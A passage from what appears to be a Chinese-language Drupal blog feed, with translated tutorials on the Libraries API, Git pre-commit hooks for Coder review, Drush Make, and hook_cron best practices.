&lt;p&gt;作为一个前端开发者，我经常需要为了前端的一些需求向项目中加入 JavaScript 库。在 Drupal 中，有很多种方式来完成这一任务，最近我开始注意到一个模块：&lt;a href=&#34;https://drupal.org/project/libraries&#34; target=&#34;_blank&#34;&gt;Libraries API&lt;/a&gt;，它为 Drupal 开发者提供了一个稳定的方法来添加各种库。&lt;/p&gt;

&lt;p&gt;一个 Library 是一组代码，通常是 CSS 和 JS，有时候也会是一组 PHP，或者一些其他什么东西。一般来说，这些库并不是为 Drupal 设计的。&lt;/p&gt;

&lt;p&gt;过去，我直接把 JS 库加入到我的主题之中，接下来使用 &lt;code&gt;drupal_add_js()&lt;/code&gt; 把 JS 加入到页面。这意味着这个库同主题被绑定在一起。如果我想要在模块中使用这个库，我必须要知道这个主题的名字——用 &lt;code&gt;drupal_get_path()&lt;/code&gt;。这很明显是个混蛋办法，他基本上断绝了模块化和代码复用的可能性。&lt;/p&gt;

&lt;p&gt;另一个添加 JS 库的方法就是使用模块进行加载。这种方法的不足在于，JS 库常需要通过 Drupal UI 来配置，配置能力有时会影响库的能力，同步更新也不容易保证。在多数情况下，这种方式可以使用 Libraries API 来实现。&lt;/p&gt;

&lt;p&gt;使用这个库是很容易的。当然，最好是阅读一下&lt;a href=&#34;https://drupal.org/node/1342238&#34; target=&#34;_blank&#34;&gt;完整的文档&lt;/a&gt;，不过想随便试试，只要几行代码就能搞定。&lt;/p&gt;

&lt;h2 id=&#34;快速入门&#34;&gt;快速入门&lt;/h2&gt;

&lt;h3 id=&#34;安装-libraries-api&#34;&gt;安装 Libraries API&lt;/h3&gt;

&lt;p&gt;如果你在使用&lt;a href=&#34;https://drupal.org/project/drush&#34; target=&#34;_blank&#34;&gt;Drush&lt;/a&gt;，那么很简单了：&lt;/p&gt;

&lt;p&gt;$ drush dl libraries&lt;/p&gt;

&lt;p&gt;下一步，建立一个目录 &lt;code&gt;sites/all/libraries&lt;/code&gt;。如果你没有使用Drush，那么在&lt;a href=&#34;drupal.org/project/libraries&#34; target=&#34;_blank&#34;&gt;官方网站&lt;/a&gt;进行下载安装即可。&lt;/p&gt;

&lt;h3 id=&#34;向-sites-all-libraries-中添加库&#34;&gt;向&lt;code&gt;sites/all/libraries&lt;/code&gt;中添加库&lt;/h3&gt;

&lt;p&gt;下载一个库，然后把他添加到 &lt;code&gt;sites/all/libraries&lt;/code&gt; 目录中。例如，我在使用 &lt;a href=&#34;http://flexslider.woothemes.com/&#34; target=&#34;_blank&#34;&gt;FlexSlider&lt;/a&gt;，用来在我的项目中实现幻灯片效果。要添加这个库，我下载了 flexslider，然后把它加入我的drupal项目的 &lt;code&gt;sites/all/libraries/flexslider&lt;/code&gt; 中。&lt;/p&gt;

&lt;h3 id=&#34;创建一个小模块-让-libraries-api-了解这个库&#34;&gt;创建一个小模块，让 Libraries API 了解这个库&lt;/h3&gt;

&lt;p&gt;在一个自定义模块中，使用 &lt;a href=&#34;http://drupalcontrib.org/api/drupal/contributions!libraries!libraries.api.php/function/hook_libraries_info/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;hook_libraries_info&lt;/code&gt;&lt;/a&gt; 来启用这个库。一个库被注册之后，他就可以被其他模块或主题使用了。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_libraries_info().
  */
function MYMODULE_libraries_info() {
  $libraries = array();
  $libraries[&#39;flexslider&#39;] = array(
    &#39;name&#39; =&amp;gt; &#39;FlexSlider&#39;,
    &#39;vendor url&#39; =&amp;gt; &#39;http://flexslider.woothemes.com/&#39;,
    &#39;download url&#39; =&amp;gt; &#39;https://github.com/woothemes/FlexSlider/zipball/master&#39;,
    &#39;version arguments&#39; =&amp;gt; array(
      &#39;file&#39; =&amp;gt; &#39;jquery.flexslider-min.js&#39;,
      // jQuery FlexSlider v2.1
      &#39;pattern&#39; =&amp;gt; &#39;/jQuery FlexSlider v(\d+\.+\d+)/&#39;,
      &#39;lines&#39; =&amp;gt; 2,
    ),
    &#39;files&#39; =&amp;gt; array(
      &#39;js&#39; =&amp;gt; array(
        &#39;jquery.flexslider-min.js&#39;,
      ),
    ),
  );

  return $libraries;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个过程有个心得就是，提供一个版本参数或者实现版本回调是很有必要的。&lt;code&gt;hook_libraries_info()&lt;/code&gt; 的文档中提到，这两个都是可选的项目，不过至少要提供一个，否则该库无法被载入。如果对版本的事情不太在意，可以使用一个替身方法来实现  version 回调：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
* Implements hook_libraries_info().
*/
function MYMODULE_libraries_info() {
  $libraries = array();
  $libraries[&#39;my_library&#39;] = array(
    // Etc etc.
    &#39;version callback&#39; =&amp;gt; &#39;short_circuit_version&#39;,
  );

  return $libraries;
}

/**
* Short-circuit the version argument.
*/
function short_circuit_version() {
  return TRUE;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;在页面中调用新引入的库&#34;&gt;在页面中调用新引入的库&lt;/h3&gt;

&lt;p&gt;在这个例子中，我想要在一个特定的 View 中载入 FlexSlider。所以这里我们实现一个 Views 的 Hook。注意这里如何把 Hook 到指定的 Views:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_preprocess_views_view().
  */
function MYTHEME_preprocess_views_view(&amp;amp;$vars) {

  // 去掉注释，查看可用的变量
  // This requires http://drupal.org/project/devel to be installed.
  // dpm($vars[&#39;view&#39;]-&amp;gt;name, &#39;view name&#39;);

  // 根据View ID调用指定方法
  if (isset($vars[&#39;view&#39;]-&amp;gt;name)) {
    $function = &#39;preprocess_views_view__&#39; . $vars[&#39;view&#39;]-&amp;gt;name;
    if (function_exists($function)) {
      $function($vars);
    }
  }
}

/**
  * Implements preprocess_views_view__VIEW().
  */
function preprocess_views_view__YOURHOOK(&amp;amp;$vars) {
  $display_id = $vars[&#39;display_id&#39;];
  $classes = &amp;amp;$vars[&#39;classes_array&#39;];
  $title_classes = &amp;amp;$vars[&#39;title_attributes_array&#39;][&#39;class&#39;];
  $content_classes = &amp;amp;$vars[&#39;content_attributes_array&#39;][&#39;class&#39;];

  // Uncomment the lines below to see variables you can use to target a view.
  // This requires http://drupal.org/project/devel to be installed.
  // dpm($vars[&#39;view&#39;]-&amp;gt;name, &#39;view name&#39;);

  switch ($display_id) {

    // 载入FlexSlider库
    case &#39;page&#39;:
      libraries_load(&#39;flexslider&#39;);
      break;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;使用&#34;&gt;使用&lt;/h3&gt;

&lt;p&gt;现在 FlexSlider 已经载入，就可以在这个 View 中使用了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-js&#34;&gt;(function ($) {
  $(window).load(function() {

    $(&#39;.slideshow&#39;).flexslider({
      animation: &amp;quot;slide&amp;quot;,
      controlNav: false,
      namespace: &#39;slide-&#39;,
      selector: &#39;.slide-list &amp;gt; .slide-list-item&#39;
    });

  }); // end window.load
})(jQuery);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;你可以看到，Libraries API 提供了一种便捷的方式来进行 JavaScript 管理。&lt;/p&gt;

&lt;p&gt;译者按：&lt;/p&gt;

&lt;p&gt;这种方法还是蛮不方便的，更简单的方式就是，直接手写info文件，例如我们要载入一个 jsonview 的库&lt;/p&gt;

&lt;p&gt;把 json view 的内容解压到 &lt;code&gt;all/libraries/jsonview&lt;/code&gt; 目录中。&lt;/p&gt;

&lt;p&gt;新建文件 &lt;code&gt;jsonview.libraries.info&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Json View
machine name = jsonview
description = json view plugins for jQuery
version = 1.2.0
files[js][] = jquery.jsonview.js
files[css][] = jquery.jsonview.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;利用 drush libraries-list 命令，查看 Libraries 载入结果：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;名字         状态            版本       Variants  Dependencies
 jsonview   OK            1.2.0    -         -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另附 tcpdf 库的 &lt;code&gt;libraries.info&lt;/code&gt; 内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = TCPDF for PHP
machine name = tcpdf
description = tcpdf
version = 6.0.093
files[php][] = tcpdf.php
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>在版本管理过程中增强Drupal编码标准控制</title>
      <link>/post/drupal-coding-standard-control-in-scm/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-coding-standard-control-in-scm/</guid>
      <description>&lt;p&gt;根据&lt;a href=&#34;https://drupal.org&#34; target=&#34;_blank&#34;&gt;Drupal.org&lt;/a&gt;的统计结果，Drupal社区共拥有：&lt;/p&gt;

&lt;p&gt;＊ 27098个模块&lt;/p&gt;

&lt;p&gt;＊ 2012个主题&lt;/p&gt;

&lt;p&gt;＊ 827个发行版&lt;/p&gt;

&lt;p&gt;＊ 33875个开发者&lt;/p&gt;

&lt;p&gt;另外，来自230个国家，说着181种不同语言的107万4000多个用户在使用Drupal。上述数据完全来自Drupal社区。&lt;/p&gt;

&lt;p&gt;我想要花时间来说一下这一条：27098个模块，这些模块由大约33875个开发者贡献的巨量代码构成。世上没有两片相同的树叶，如此众多的开发者，当然也可能产生各自的编码风格，如果这样下去，一个模块的代码对于其他开发者来说，可能就完全是晦涩难懂的了。&lt;/p&gt;

&lt;p&gt;编码规范很重要，尤其是对于Drupal这种大规模项目来说。规范的代码能让初次接触项目的开发者不至于一头雾水。在规范代码的帮助下，新晋者可以顺利的进入代码并顺利完成工作，而无需在奇怪的变量命名和古怪的代码格式上浪费时间。&lt;/p&gt;

&lt;p&gt;Drupal实现了大量的规范。从简单的代码格式，到复杂的安全实现，都被这些规范所涵盖。每个Drupal模块都要遵守这些标准。如果所有的模块都满足这一要求，那么Drupal就能够在安全、性能以及易读性方面更上一层楼。&lt;/p&gt;

&lt;p&gt;我们用来进行代码编写的IDE和一些编辑器能够根据这些标准规则，进行实时的代码检查，所以我们推荐开发过程使用这些工具，不过工具问题不是本文的重点。你当然可以用自己的方式来保存代码，提交代码到你在使用的版本库中；但如果要向Drupal提交，那么就要保证这些代码是符合规范的。&lt;/p&gt;

&lt;p&gt;如何保证呢？简单的办法就是，不合规则的代码不许提交。&lt;/p&gt;

&lt;p&gt;使用&lt;a href=&#34;https://www.drupal.org/project/coder&#34; target=&#34;_blank&#34;&gt;Coder&lt;/a&gt;，&lt;a href=&#34;https://www.drupal.org/project/coder&#34; target=&#34;_blank&#34;&gt;Coder Review&lt;/a&gt;，&lt;a href=&#34;https://github.com/drush-ops/drush&#34; target=&#34;_blank&#34;&gt;Drush&lt;/a&gt;，pre-commit/pre-push钩子等很多方法都能够保证提交到版本库的代码是符合规范的。本文将聚焦于Drush和Git的集成，而不会详细讲解Drupal管理界面的Coder模块。&lt;/p&gt;

&lt;p&gt;#Coder, Coder Review以及Coder Sniffer模块&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/coder&#34; target=&#34;_blank&#34;&gt;Coder模块&lt;/a&gt;是一个插件管理器。Coder模块自带的Coder Review和Coder Sniffer是两个标准包，包含了实际的标准测试。下面是我们将要提及的一些相关内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Drupal CodeSniffer&lt;/li&gt;
&lt;li&gt;Drupal Sequrity Checks&lt;/li&gt;
&lt;li&gt;Drupal SQL Standards&lt;/li&gt;
&lt;li&gt;Drupal Commenting Standards&lt;/li&gt;
&lt;li&gt;Internationalization&lt;/li&gt;
&lt;li&gt;Drupal Coding Standards&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里不准备对上述功能进行深入讲解，这些字面功能都很直观。可能以后对这些功能以及相关标准进行逐个的详细介绍。&lt;/p&gt;

&lt;p&gt;#Coder Reivew和Drush的集成&lt;/p&gt;

&lt;p&gt;这里假设读者对Drush有一定使用经验， 所以我不会讲解Drush本神的内容。这里我要多说一句就是：Drush是Drupal管理方面的最佳工具。借助Drush可以做很多有趣的事情，例如在命令行上进行Code Review。下面举个例子：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  drush @local.drupal coder janrain –minor –ignore –no-empty –reviews=sniffer,security,sql,comment,i18n,style –ignorename –ignores-pass
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的命令告诉Drush调用Coder模块，对Janrain模块进行reviews参数中指定的Review，并声明启用忽略功能，不显示成功通过的信息（-no-empty），显示被忽略的规则名称（-ignorename），以及测试所有级别的规则（-minor）。&lt;code&gt;-ignore-pass&lt;/code&gt;选项告诉Coder不要对被忽略的警告进行计数，这一设置对pre-commit以及pre-push hooks很有用。除非显式的声明这一参数，否则产生的警告信息可能被当做命令的错误码返回。针对这种情况，我提出了一个补丁，&lt;a href=&#34;https://www.drupal.org/node/1974654&#34; target=&#34;_blank&#34;&gt;https://www.drupal.org/node/1974654&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;同样的，所有在末尾列出的文件也都在被Review的范围中。可以使用&lt;code&gt;drush help coder&lt;/code&gt;命令来获取完整的命令和参数列表。&lt;/p&gt;

&lt;p&gt;#Git集成&lt;/p&gt;

&lt;p&gt;上面的内容中，我们已经可以在命令行上进行Code Review了。Coder还有进一步的考虑就是，Review结果会用退出码的方式返回。退出码一般是Review过程中产生的警告和错误的总和。这里顺便做一下科普，当执行一个Shell命令时，如果其退出码不等于零，则代表该命令执行失败。所以，Review过程中产生任何的警告和错误，都代表着命令执行失败。&lt;/p&gt;

&lt;p&gt;返回码问题在进行pre-commit或pre-push的集成中尤为重要。大致说来，如果Review失败，就不可能进行代码提交，所以应该只有把代码修改到100%符合Review标准之后才能提交成功。&lt;/p&gt;

&lt;p&gt;接下来我们使用一个pre-commit钩子。这里要求每次提交的代码必须满足指定的Review标准，所以这是一个相当严格的规定，所以如果提交的频率很高，可能需要一个pre-push之类的本地方法，会让这个过程没那么烦躁。&lt;/p&gt;

&lt;p&gt;下面是两个代码文件：&lt;code&gt;pre-commit&lt;/code&gt;以及&lt;code&gt;pre-commit_janrain&lt;/code&gt;。这些代码由带有&lt;code&gt;-git&lt;/code&gt;选项的Review命令生成，其中有一些适应环境的本地修改。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;pre-commit&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/php
&amp;lt;?php
/**
* @file
* Generic .git pre-commit hook runs all pre-commit hooks
* following the naming convention of pre-commit_example.
*
* This script was created by drush coder-review --git.
* Do not modify.
*/
$GITPATH = &amp;quot;/Users/lpeabody/Sites/drupal/sites/all/modules/janrain/.git&amp;quot;;

/**
* Return array of pre-commit_ files with their full relative paths.
*/
function find_pre_commit($dir = &#39;.&#39;) {
 $files = array();
 foreach (scandir($dir) as $file) {
   if (substr($file, 0, 11) == &#39;pre-commit_&#39; &amp;amp;&amp;amp; is_executable(&amp;quot;$dir/$file&amp;quot;)) {
     $files[] = &amp;quot;$dir/$file&amp;quot;;
   }
   elseif ($file != &#39;.&#39; &amp;amp;&amp;amp; $file != &#39;..&#39; &amp;amp;&amp;amp; is_dir(&amp;quot;$dir/$file&amp;quot;)) {
     $files = array_merge($files, find_pre_commit(&amp;quot;$dir/$file&amp;quot;));
   }
 }
 return $files;
}

// Run each pre-commit script.
foreach (find_pre_commit($GITPATH) as $pre_commit) {
 system($pre_commit, $ret);
 if ($ret != 0) {
   // Exit as soon as one of the scripts returns an error.
   exit($ret);
 }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;pre-commit_janrain&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/php
&amp;lt;?php
/**
* @file
* Coder pre-commit hook.
*
* This script was created by drush coder-review --git.
* Do not modify.
*/

$PATH = getenv(&#39;PATH&#39;);
// need to add drush to the system path
putenv(&amp;quot;PATH=/usr/local/bin:$PATH&amp;quot;);

$GITPATH = &#39;/Users/lpeabody/Sites/drupal/sites/all/modules/janrain/.git&#39;;
$GITRELATIVE = &#39;sites/all/modules/janrain&#39;;
$CODER_ARGS = &#39;@local.drupal coder janrain --minor --ignore --no-empty --reviews=sniffer,security,sql,comment,i18n,style --ignorename --ignores-pass&#39;;

// Find the files that are ready to checkin.
// The magic revision is for an initial commit: diff against an empty tree object.
// See .git/pre-commit.sample.
exec(&#39;git rev-parse --verify HEAD 2&amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#39;, $dummy, $ret);
$against = ($ret == 0) ? &#39;HEAD&#39; : &#39;4b825dc642cb6eb9a060e54bf8d69288fbee4904&#39;;
exec(&amp;quot;git diff --cached --name-only $against&amp;quot;, $files);

// Convert .git relative path to DRUPAL_ROOT relative.
foreach ($files as &amp;amp;$file) {
 $file = &amp;quot;$GITRELATIVE/$file&amp;quot;;
}

// Run coder against the .git files.
$cmd = &amp;quot;drush $CODER_ARGS&amp;quot;;
print &amp;quot;Coder pre-commit: $cmd\n - &amp;quot; . implode(&amp;quot;\n - &amp;quot;, $files) .&amp;quot;\n\n&amp;quot;;
system($cmd . &#39; &#39; . implode(&#39; &#39;, $files), $ret);
if ($ret) {
 exit($ret);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;#串起来&lt;/p&gt;

&lt;p&gt;把上面两个文件放到本地Git仓库的hooks目录中，版本化过程现在就有了增强的编码标准检查了。可以根据不同需求对这两个文件进行修改，例如调整各文件的顶层变量等。你可能也想要调整其中的Drush命令，例如不同的站点别名等。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-pre-commit```只是一个通用的方法，用于载入我们自行创建的```pre-commit```钩子。载入过程依赖于命名规则，要将自定义的pre-commit钩子按照```pre-commit_hookname```方式进行命名。&#34;&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;pre-commit_janrain```是真正执行任务的位置。简单说来，这个钩子会在每次本地提交的时候对janrain模块进行review。每个接触过的文件，只要不是在忽略范围之内，都需要100%的复合Drupal规范，才能够进行提交。如果在这个模块中发现了任何不合规则的情况，提交都会失败。&lt;/p&gt;

&lt;p&gt;这真的很简单，就是这一简单规则让Drupal社区称为一个整体。如果我们所有的代码都复合标准，Drupal就会是一个更健壮、更具效率也更安全的平台。Drupal在这一基础上会持续成长，不断强化代码。这也是每个Drupaller乐见其成的。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>如何用Drush Make完成日常任务</title>
      <link>/post/drush-make-daily-tasks/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drush-make-daily-tasks/</guid>
      <description>&lt;p&gt;众所周知，Drupal Make在Drupal发行版的创建过程中具有重要作用，不过他对从来没有接触过发行版的人来说同样很有用，一个很好的例子就是&lt;a href=&#34;https://www.acquia.com/blog/patching-drush-make&#34; target=&#34;_blank&#34;&gt;《applying patches like a boss》&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;本文中我会展示在日常工作中我如何实用Drush Make来达成一些自动化目的，同时帮助我发现一些有趣的Drupal窍门。&lt;/p&gt;

&lt;p&gt;##Drush Make命令&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Drush Make内置两个命令：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;make&lt;/strong&gt;：把&amp;rdquo;&lt;strong&gt;.makefile&lt;/strong&gt;&amp;ldquo;转化为Drupal代码。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;make-generate&lt;/strong&gt;：从当前Drupal站生成&amp;rdquo;&lt;strong&gt;.makefile&lt;/strong&gt;&amp;ldquo;。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;两个命令都跟&amp;rdquo;&lt;strong&gt;.makefile&lt;/strong&gt;&amp;ldquo;有关，它是一种包含Drush Make指令的文本文件。延伸阅读：&lt;a href=&#34;https://github.com/drush-ops/drush/blob/master/docs/make.txt&#34; target=&#34;_blank&#34;&gt;.makefile语法&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;现在让我们开始深入一些学习Drush Make。&lt;/p&gt;

&lt;p&gt;##重建开发环境&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;日常工作中，我们经常会因为开发、测试或者演示的需要来安装一个新的干净的Drupal站。除去核心之外，一般还需要安装一些其他的一系列惯用模块，例如Administration Menu, Views或者其他一些什么东西。有了Drush Make，就可以把这个过程自动化，把所有需要的项目都包含到一个文件里面。&lt;/p&gt;

&lt;p&gt;下面是一个用于多语言测试的站点的&lt;strong&gt;.makefile&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;; Drush Make API version.
api = 2
; Drupal core.
core = 7.x

;Common modules.
projects[admin_menu][subdir] = &amp;quot;contrib&amp;quot;
projects[ctools][subdir] = &amp;quot;contrib&amp;quot;
projects[token][subdir] = &amp;quot;contrib&amp;quot;
projects[views][subdir] = &amp;quot;contrib&amp;quot;

; Development modules.
projects[devel][subdir] = &amp;quot;development&amp;quot;

; Multilingual modules.
projects[fallback_language_negotation][subdir] = &amp;quot;contrib&amp;quot;
projects[variable][subdir] = &amp;quot;contrib&amp;quot;
projects[i18n][subdir] = &amp;quot;contrib&amp;quot;
projects[i18nviews][subdir] = &amp;quot;contrib&amp;quot;

; Load some translations.
translations[] = de
translations[] = ru
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个文件可以在本地进行保存（例如在&lt;strong&gt;~/.drush/make-files/d7_i18n.make&lt;/strong&gt;），也可以保存在远程服务器例如github。&lt;/p&gt;

&lt;p&gt;可以执行&lt;strong&gt;make&lt;/strong&gt;命令，通过这个文件在服务器上来创建我们的自定义环境（例如&lt;strong&gt;~/.drush/make-files/d7_i18n.make&lt;/strong&gt;）&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  $ drush make d7_i18n.make /var/www/drupal_test.local
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第一次执行可能会比较耗时，不过以后Drush会利用缓存节省很多时间。&lt;/p&gt;

&lt;p&gt;最后&lt;strong&gt;.makefile&lt;/strong&gt;中指定的最新版本的Drupal core, 第三方模块以及翻译文件都会被下载，并放置到指定位置。接下来，可以进入该站点的网址来运行install.php，或者使用Drush进行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  $ drush si --db-url=&amp;quot;mysql://user:password@localhost/databasename&amp;quot; --site-name=&amp;quot;Drupal Multilingual&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外，还可以通过&amp;ndash;tar选项，为&lt;strong&gt;.makefile&lt;/strong&gt;生成tar包。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  $ drush make d7_i18n.make drupal_multilingual --tar
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在其中加入一系列的Features(基于&lt;a href=&#34;https://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;Features模块&lt;/a&gt;)，就建立了你自己的发行版。&lt;/p&gt;

&lt;p&gt;##下载依赖关系&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;你有没有发现有些第三方模块提供了&lt;strong&gt;.make&lt;/strong&gt;或者&lt;strong&gt;.make.example&lt;/strong&gt;文件？这些通常包含了外部库的列表（例如Colorbox module中的jQuery Colorbox插件）。这些文件可以使用&lt;strong&gt;&amp;ndash;no-core&lt;/strong&gt;标志，在drupal站内部运行。例如我们要下载&lt;a href=&#34;https://drupal.org/project/chosen&#34; target=&#34;_blank&#34;&gt;Chosen&lt;/a&gt;模块：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ drush dl chosen Project chosen (7.x-2.0-beta4) downloaded to sites/all/modules/contrib/chosen. 
$ drush make sites/all/modules/contrib/chosen/chosen.make.example --no-core 
chosen downloaded from https://github.com/harvesthq/chosen/releases/download/v1.1.0/chosen_v1.1.0.zip 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在上个例子中，会下载和解压jQuery插件到&lt;strong&gt;libraries&lt;/strong&gt;文件夹中，这对使用者来说会非常方便。&lt;/p&gt;

&lt;p&gt;所以这里建议模块开发者，如果你试用了外部库，请在你的Drupal.org项目中添加一个&lt;strong&gt;.make.example&lt;/strong&gt;文件。还有其他办法也能达到这个目的，例如创建一个Drush命令&lt;strong&gt;chosen-plugin&lt;/strong&gt;，这需要&lt;a href=&#34;http://cgit.drupalcode.org/chosen/tree/drush/chosen.drush.inc?id=7.x-2.0-beta4&#34; target=&#34;_blank&#34;&gt;117行代码&lt;/a&gt;，而make的方式只需要&lt;a href=&#34;http://cgit.drupalcode.org/chosen/tree/chosen.make.example?id=7.x-2.0-beta4&#34; target=&#34;_blank&#34;&gt;7行代码&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##为现存网站生成makefile&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;利用Drush Make可以轻易的共享自定义的Drupal。首先在Drupal根目录运行&lt;strong&gt;generate-makefile&lt;/strong&gt;命令：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ drush generate-makefile drupal_custom_build.make
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成的&lt;code&gt;drupal_custom_build.make&lt;/code&gt;文件中包含所有启用的项目版本的指令。如果一个项目中包含.git目录，Drush Make会自动设置相应的属性：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;projects[redirect][type] = &amp;quot;module&amp;quot;
projects[redirect][download][type] = &amp;quot;git&amp;quot;
projects[redirect][download][url] = &amp;quot;http://git.drupal.org/project/redirect.git&amp;quot;
projects[redirect][download][branch] = &amp;quot;7.x-1.x&amp;quot;
projects[redirect][download][revision] = &amp;quot;0b7b8dc2d58cb277874d87c91c45f0a361e148f7&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成的文件需要一些人工的审查工作。例如可以添加patch引用，在我的项目中为Redirect模块添加了两个补丁：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;projects[redirect][patch][] = &amp;quot;https://drupal.org/files/issues/redirect-global-905914-145.patch&amp;quot; 
projects[redirect][patch][] = &amp;quot;https://drupal.org/files/issues/redirect.circular-loops.1796596-146.patch&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在你需要向其他同事共享你的工作环境，或为排错提供故障现场时，上面生成的&lt;strong&gt;.makefile&lt;/strong&gt;会非常有用。&lt;/p&gt;

&lt;p&gt;##帮助你探索Drupal世界&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;最后，Drush Make文件也是一个帮助用户了解发行版的工具。例如&lt;a href=&#34;http://cgit.drupalcode.org/commerce_kickstart/tree/drupal-org.make?id=refs/heads;id2=7.x-2.x&#34; target=&#34;_blank&#34;&gt;Commerce Kickstart&lt;/a&gt;或者&lt;a href=&#34;https://github.com/openscholar/openscholar/blob/SCHOLAR-3.x/openscholar/drupal-org.make&#34; target=&#34;_blank&#34;&gt;OpenScholar&lt;/a&gt;中包含的众多有趣的项目。&lt;/p&gt;

&lt;p&gt;最后，希望本文能够帮助读者更好的使用Drush，来完成日常任务，甚至建立自己的发行版。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>最佳实践：hook_cron</title>
      <link>/post/best-practice-hook_cron/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/best-practice-hook_cron/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.thirdandgrove.com/best-practices-for-using-drupals-cron-system-hook_cron&#34; target=&#34;_blank&#34;&gt;Best practices for using Drupal’s cron system: hook_cron()
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如果你成功的设置了 &lt;a href=&#34;https://drupal.org/cron&#34; target=&#34;_blank&#34;&gt;Drupal Cron&lt;/a&gt;，&lt;a href=&#34;https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_cron/7&#34; target=&#34;_blank&#34;&gt;hook_cron()&lt;/a&gt; 提供了一种不依赖页面请求的方式来进行后台任务，然而，Cron 的滥用也有可能造成性能问题，甚至威胁数据完整性。&lt;/p&gt;

&lt;p&gt;这里提供一些我们在实际工作中得来不易的一些 Cron 方面的最佳实践：&lt;/p&gt;

&lt;h2 id=&#34;第一条-用变量控制-cron&#34;&gt;第一条：用变量控制 Cron。&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;hook_cron()&lt;/code&gt; 的每一次调用都封装在一个变量检查的条件之内，这个变量的缺省值是TRUE，想要禁止这个 CRON，只要把这个变量创建起来并赋值为 False 即可，当你的 CRON 过程失控或者消耗太多资源时，这一手段是非常有效的。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_cron().
  */
function example_cron() {
  if (variable_get(&#39;example_process_users_during_cron&#39;, TRUE)) {
    module_load_include(&#39;inc&#39;, &#39;example&#39;);
    example_process_users();
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;第二条-在-inc-文件中实现逻辑&#34;&gt;第二条：在 inc 文件中实现逻辑。&lt;/h2&gt;

&lt;p&gt;需要注意的是，Drupal 很重：每次页面请求都会载入所有被启用的 Module 文件。所以 module 文件里只应该包含每次页面请求都需要执行的部分，Cron 代码运行频率很低，因此不应包含在 module 文件里。这也是一条适用于其他模块开发的最佳实践。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;（这是快速得知一个模块作者是否真正了解 Drupal 的办法。）&lt;/p&gt;
&lt;/blockquote&gt;

